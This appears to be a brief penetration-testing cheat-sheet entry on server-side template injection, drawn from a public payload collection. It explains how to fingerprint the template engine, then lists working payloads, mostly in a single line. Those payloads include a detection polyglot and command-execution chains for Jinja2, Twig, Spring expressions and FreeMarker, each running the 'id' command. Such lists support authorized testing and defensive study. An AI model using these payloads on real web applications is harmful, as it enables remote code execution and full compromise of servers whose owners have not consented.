Server-Side Template Injection
Detect the engine with the polyglot first, then use the engine-specific chain to reach RCE. Reflected 49 from {{7*7}} means Jinja2/Twig-family; 7777777 from {{7*'7'}} distinguishes them.
Tags: ssti, rce, jinja2, twig, freemarker
Controlled probes
${{<%[%'"}}%\{{7*7}}${7*7}#{7*7}{{7*'7'}}{{config.__class__.__init__.__globals__['os'].popen('id').read()}}{{['id']|filter('system')}}${T(java.lang.Runtime).getRuntime().exec('id')}<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
Source: https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection